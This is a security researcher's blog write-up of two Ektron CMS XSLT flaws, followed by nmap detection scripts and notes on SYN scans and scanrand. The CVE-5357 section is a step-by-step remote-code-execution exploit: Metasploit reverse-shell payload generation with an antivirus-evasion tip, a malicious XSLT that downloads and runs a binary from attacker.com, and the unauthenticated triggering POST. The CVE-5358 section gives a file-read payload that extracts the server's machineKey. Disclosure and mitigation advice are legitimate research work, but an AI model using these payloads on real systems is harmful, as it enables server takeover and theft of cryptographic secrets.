CVE-2012-5357,CVE-1012-5358 Cool Ektron XSLT RCE Bugs

In early 2011, I met a fully updated 8.02SP2 Ektron and it was a bunch of bugs at first sight. Ektron is a CMS. It isn’t a household name like wordpress, but it’s actually used on quite a few very big enterprise-like sites. Subsequently a few of these bugs have been found independently, but to my knowledge my favorites (CVE-2012-5357,CVE-1012-5358) have never been publicly written about.

I was originally planning to talk about these in our New Ways I’m Going to Hack your Web App talk which came over nine months after I reported the issue. In fact, it was a part of the talk at Bluehat, where it was a hit when I used Metasploit for the demo :)

Unfortunately, there was some pressure at the time to keep this out of the 28c3 and Blakhat AD versions of the talk. Booo. But on October 15th 2012, MSVR released an advisory, so at long last I’ll give some technical details on a couple of the more interesting bugs I found.

CVE-5357 – Unauthenticated code execution in the context of web server

The root cause of this is that Ektron processed user-controlled XSL from a page that required no auth. They used the XslCompiledTransform class with enablescript set to true. This scripting allows the user to execute code, as documented here.

Here are hack steps to get a meterpreter shell using this:

  1. Create the shellcode we’ll use using the following. At the time of the exploit, naming to .txt seemed to evade antivirus, although at some point this stopped working reliably.
  2. ./msfpayload windows/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=80 r | ./msfencode –t exe –o output.txt
    
  3. Upload output.txt to http://attacker.com/output.txt
  4. Start a multistage metasploit listener from msfconsole on a reachable attacker box.
  5. use exploit/multi/handler
    set payload windows/meterpreter/reverse_http
    set LHOST <listen_address>
    set LPORT 80
    
  6. Upload the following code to http://attacker.com/xsl.xslt
  7. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <msxsl:script language="C#" implements-prefix="user">
        <![CDATA[
    public string xml()
      {
                System.Net.WebClient client = new System.Net.WebClient();
                client.DownloadFile(@"http://attacker.com/output.txt", @"C:\\windows\\TEMP\\test92.txt");
                System.Diagnostics.Process p = new System.Diagnostics.Process();
                p.StartInfo.UseShellExecute = false;
                p.StartInfo.RedirectStandardOutput = true;
                p.StartInfo.FileName = @"C:\\windows\\TEMP\\test92.txt";
                p.Start(); 
               return "hai";
    
      }
    
    ]]>
      </msxsl:script>
      <xsl:template match="/">
        <xsl:value-of select="user:xml()"/>
      </xsl:template>
    </xsl:stylesheet>
    
    
  8. Do the following post request, which will cause ektron to process the xsl. Ektron did check the referer, but it did NOT check any auth info, and there is no secret information in this POST request at all. Notice the xslt=http://attacker.com/xsl.xslt which points to the xslt file we created in step 4. When processed, this will connect back to our listener we setup in step 1.
  9. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0) Gecko/20100101 Firefox/4.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-us,en;q=0.5
    Accept-Encoding: gzip, deflate
    Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
    Keep-Alive: 115
    Proxy-Connection: keep-alive
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    
    xml=AAA&xslt=http://attacker.com/xsl.xslt &arg0=mode%3Ddesign&arg1=skinPath%3D%2FWorkArea%2Fcsslib%2FContentDesigner%2F& arg2=srcPath%3D%2FWorkArea%2FContentDesigner%2F&arg3=baseURL%3Dhttp%3A%2F%2Fektronsite& arg4=LangType%3D1033& arg5=sEditPropToolTip%3DEdit%20Field%3A
    
    

One of the early mitigations was to limit egress access, but it turns out you can just as easily specify the xsl inline. Another early mitigation was to IP restrict access to the Ektron management console. However, Ektron had multiple clientside vulnerabilities. We were able to blend clientside bugs with this to still exploit.

CVE-5358 Local File Read

After 5357 was fixed, I was testing that fix, and it turns out there was another related vulnerability. They had configured the xsl with enableDocumentFunction set to true. This vulnerability allows an unauthenticated attacker to read arbitrary files, such as web.config and machine.config. This would allow an attacker to perform several attacks, like bypassing authentication, modifying viewstate, bringing down the server, etc. I could spend a lot of time here, but we can agree reading the machinekey is bad.

Hack steps to retrieve the machinekey:

  1. URL encode the following xsl
  2. <?xml version='1.0'?>
    <xsl:stylesheet version="1.0"
          xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
          xmlns:msxsl="urn:schemas-microsoft-com:xslt"
          xmlns:user="http://mycompany.com/mynamespace">
      <xsl:template match="/">
        <xsl:value-of select="document('g:\EKTRON\web.config')//machineKey/@decryptionKey"/>
        <xsl:value-of select="foo"/>
      </xsl:template>
    </xsl:stylesheet>
    
  3. Do the following POST. Note this is unauthenticated
  4. POST /WorkArea/ContentDesigner/ekajaxtransform.aspx HTTP/1.1
    Host: ektronsite
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Referer: https://ektronsite
    Content-Length: 1217
    
    xml=%3Cp%3Eaaaaa%3C%2Fp%3E&xslt=%3c%3f%78%6d%6c%20%76%65%72%73%69%6f%6e%3d%27%31%2e%30%27%3f%3e
    %0a%3c%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%20%76%65%72%73%69%6f%6e%3d%22%31%2e%30%22%0a%20
    %20%20%20%20%20%78%6d%6c%6e%73%3a%78%73%6c%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72
    %67%2f%31%39%39%39%2f%58%53%4c%2f%54%72%61%6e%73%66%6f%72%6d%22%0a%20%20%20%20%20%20%78%6d%6c%6e
    %73%3a%6d%73%78%73%6c%3d%22%75%72%6e%3a%73%63%68%65%6d%61%73%2d%6d%69%63%72%6f%73%6f%66%74%2d%63
    %6f%6d%3a%78%73%6c%74%22%0a%20%20%20%20%20%20%78%6d%6c%6e%73%3a%75%73%65%72%3d%22%68%74%74%70%3a
    %2f%2f%6d%79%63%6f%6d%70%61%6e%79%2e%63%6f%6d%2f%6d%79%6e%61%6d%65%73%70%61%63%65%22%3e%0a%20%20
    %3c%78%73%6c%3a%74%65%6d%70%6c%61%74%65%20%6d%61%74%63%68%3d%22%2f%22%3e%0a%20%20%20%20%3c%78%73
    %6c%3a%76%61%6c%75%65%2d%6f%66%20%73%65%6c%65%63%74%3d%22%64%6f%63%75%6d%65%6e%74%28%27%65%3a%5c
    %45%4b%54%52%4f%4e%5c%77%65%62%2e%63%6f%6e%66%69%67%27%29%2f%2f%6d%61%63%68%69%6e%65%4b%65%79%2f
    %40%64%65%63%72%79%70%74%69%6f%6e%4b%65%79%22%2f%3e%0a%20%20%20%20%3c%78%73%6c%3a%76%61%6c%75%65
    %2d%6f%66%20%73%65%6c%65%63%74%3d%22%66%6f%6f%22%2f%3e%0a%20%20%3c%2f%78%73%6c%3a%74%65%6d%70%6c
    %61%74%65%3e%0a%3c%2f%78%73%6c%3a%73%74%79%6c%65%73%68%65%65%74%3e
    
  5. In the response the decryptionkey will be echoed back F42A9567917AC601F476CB26731E4E116351E9465DBDB32A35DA23C01F4ED963

Detection

Remember in early 2011 when nmap scripting was fairly new? This was one of my first attempts at that. It isn’t much, but it helped me fingerprint the instances of ektron we had.

description = [[
Attempts to check if ektron is running on one of a few paths
]]
 
---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected
 
-- HTTP authentication information gathering script
-- rev 1.0 (2011-02-06)
 
author = "Rich Lundeen"
 
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
 
categories = {"webstersprodigy"}
 
require("shortport")
require("http")
require("pcre")
 
portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})
 
parse_url = function(url)
  local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
    end
  end
  return host, port, path
end
 
--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
 
--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end
 
action = function(host, port)
  local ektronpaths = {
  "/cmslogin.aspx",
  "/login.aspx",
  "/WorkArea/"
  }
  for i,ektronpath in ipairs(ektronpaths) do
    local result, path = get_http_page_nmap(port, host, 3, ektronpath)
    local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
    local loginre = {
       pcre.new("ektron" , loginflags, "C") }
     
    local loginform = false
    for i,v in ipairs(loginre) do
      local ismatch, j = v:match(result.body, 0)
      if ismatch then
        loginform = true
        break
        end
    end
    if loginform then
      return "Ektron instance likely at " .. path
    end
  end
end

Mitigation

Supposedly the latest version of Ektron has patched this. I don’t have a version to work on at the moment so I’m unable to personally verify. Regardless – be sure to upgrade. With Ektron I’d also highly recommend segregating the management piece so that it’s not exposed. I’d recommend only trusting people to author content that you trust with the server. Also, people writing content probably shouldn’t be allowed to open Facebook in another browser tab…

For XSL in general – there are a lot of bad things attackers can do if you process untrusted XSL. I recommend trying to avoid processing untrusted XSL at all unless you really know what you’re doing. With .NET xslcompiledtransform for example, even if you disable scripting and enableDocumentFunction, it’s still difficult to prevent things like DoS attacks. A good rule of thumb is to treat consuming XSL like you would treat running code, because that’s essentially what it is.

nmap script to try and detect login pages

The title sort of explains it.

description = [[
Attempts to check if a login page exists on the port.
]]

---
-- @output
-- 80/tcp open  http
-- |_ http-login-form: HTTP login detected

-- HTTP authentication information gathering script
-- rev 1.0 (2010-02-06)

author = "Rich Lundeen <mopey@webstersprodigy.net>"

license = "Same as Nmap--See http://nmap.org/book/man-legal.html"

categories = {"ioactive"}

require("shortport")
require("http")
require("pcre")

portrule = shortport.port_or_service({80, 443, 8080}, {"http","https"})

parse_url = function(url)
  local re = pcre.new("^([^:]*):[/]*([^/]*)", 0, "C")
  local s, e, t = re:exec(url, 0, 0)
  local proto = string.sub(url, t[1], t[2])
  local host = string.sub(url, t[3], t[4])
  local path = string.sub(url, t[4] + 1)
  local port = string.find(host, ":")
  if port ~= nil then
    --TODO check bounds, sanity, cast port to an int
    local thost = string.sub(host, 0, port-1)
    port = string.sub(host, port+1)
    host = thost
  else
    if proto == "http" then
      port = 80
    elseif proto == "https" then
      port = 443
    end
  end
  return host, port, path
end

--attempting to be compatible with nessus function in http.inc
--in this case, host is a url - it should use get_http_page
--get_http_page = function(port, host, redirect)
  

--port and url are objects passed to the action function
--redirect an integer to prohibit loops
get_http_page_nmap = function(port, host, redirect, path)
  if path == nil then
    path = "/"
  end
  if redirect == nil then
    redirect = 2
  end
  local answer = http.get(host, port, path)
  if ((answer.header.location ~= nil) and (redirect > 0) and 
      (answer.status >=300) and (answer.status < 400)) then
    nhost, nport, npath = parse_url(answer.header.location)
    if (((nhost ~= host.targetname) and (nhost ~= host.ip) and 
        (nhost ~= host.name)) or nport ~= port.number ) then
      --cannot redirect more, different service
      return answer, path
    else
      return get_http_page_nmap(port, host, redirect-1, npath)
    end
  end
  return answer, path
end

action = function(host, port)
  local result, path = get_http_page_nmap(port, host, 3)
  --seems to be a bug in the matching
  local loginflags = pcre.flags().CASELESS + pcre.flags().MULTILINE
  local loginre = {
     pcre.new("<script>[^>]*login"    , loginflags, "C"),
     pcre.new("<[^>]*login"           , loginflags, "C"),
     pcre.new("<script>[^>]*password" , loginflags, "C"),
     pcre.new("<script>[^>]*user"     , loginflags, "C"),
     pcre.new("<input[^>)]*user"      , loginflags, "C"),
     pcre.new("<input[^>)]*pass"      , loginflags, "C"),
     pcre.new("<input[^>)]*pwd"       , loginflags, "C") }

  local loginform = false
  for i,v in ipairs(loginre) do
    local ismatch, j = v:match(result.body, 0)
    if ismatch then
      loginform = true
      break
      end
  end
  if loginform then
    return "Login Form Detected at " .. path
  end
end

Unintended consequences of half open scans

Short analysis of the nmap half open scans (also called syn scans).

These scans are distinguished from the default operation of full connection scans, which completes the full tcp handshake. i.e.

SYN –>
<—SYN+ACK
ACK–>

A half open scan just does

SYN–>
<–SYN+ACK

The scanner determines weather the port is up or not based on if the SYN+ACK comes back.  Obviously, the final ack is never sent back.  This can be performed by

$ nmap -P0 -sS target

This was a popular method due to it being ‘stealthy’ though it’s not so much stealthy anymore and because it’s fast – though it doesn’t seem to be faster than a full connection scan in practice.

Anyways, now to something everyone doesn’t already know (maybe, at least I didn’t).

nmap uses raw sockets to craft these packets, which is why syn scans must be run as root.  What’s interesting is that if the remote host responds with a SYN+ACK – the local stack receives this packet, which did not come from the local stack (because again, it was crafted with a raw socket by nmap).  As far as the scanning computer knows, the SYN+ACK is not part of a handshake and appears to have come out of nowhere, so the scanner sends a RST back to the target system.  Nuts.

You can stop this by using simple iptables, on INPUT or OUTPUT, by having a default drop policy (only allowing ESTABLISHED,RELATED and known services through is probably a good rule of thumb).

scanrand

scanrand is a cool tool for network scanning written by Dan Kaminski.  The big advantage to this tool as a network scanner is that it can scan very large networks very very fast.

It works by splitting into two completely independent processes, one for sending packets and one for receiving them.  The sending process fires off syn packets and doesn’t try to retain state information.  Also, the receiving process doesn’t retain state.  It works by using a stateful protocol in a stateless way.

How does this prevent a smart router or something from just sending weird information in response to  a detected scan?

Normally, an ISN of a syn packet is meant to be basically random.  scanrand builds a deterministic iSN by running the source ip source port destination ip and destination port concatinated with a secret key and run through a one way hashing function – meaning these “random” isns can be calculated. this is called an “inverse syn cookie”.

Awesome.

Again, to reiterate the advantages:a class C network has been known to be scanned in as little as four seconds with this tool.

Here is how I tried it on my local network:

scanrand -d eth1 -b10M 192.168.1.1-254:quick

pretty simple.  the 10M limits the scan to 10 mbps.  One thing with scanrand is you probably ususally want to throttle the traffic -or else your network could easily become overloaded.  the -d eth1 is just specifying my wireless card.  the 192.168.1.1-254:quick is specifying which IPs and ports to scan.  quick is a shortcut meaning ports

80,443,445,53,20-23,25,135,139,8080, 110,111,143,1025,5000,465,993,31337, 79,8010,8000,6667,2049,3306

the biggest disadvantage might be how noisy it is.  But it’s not meant to be quiet.

Anyway, this is a pretty innovative “why didn’t I think of that” tools.  Give it a try.

Follow

Get every new post delivered to your Inbox.

Join 39 other followers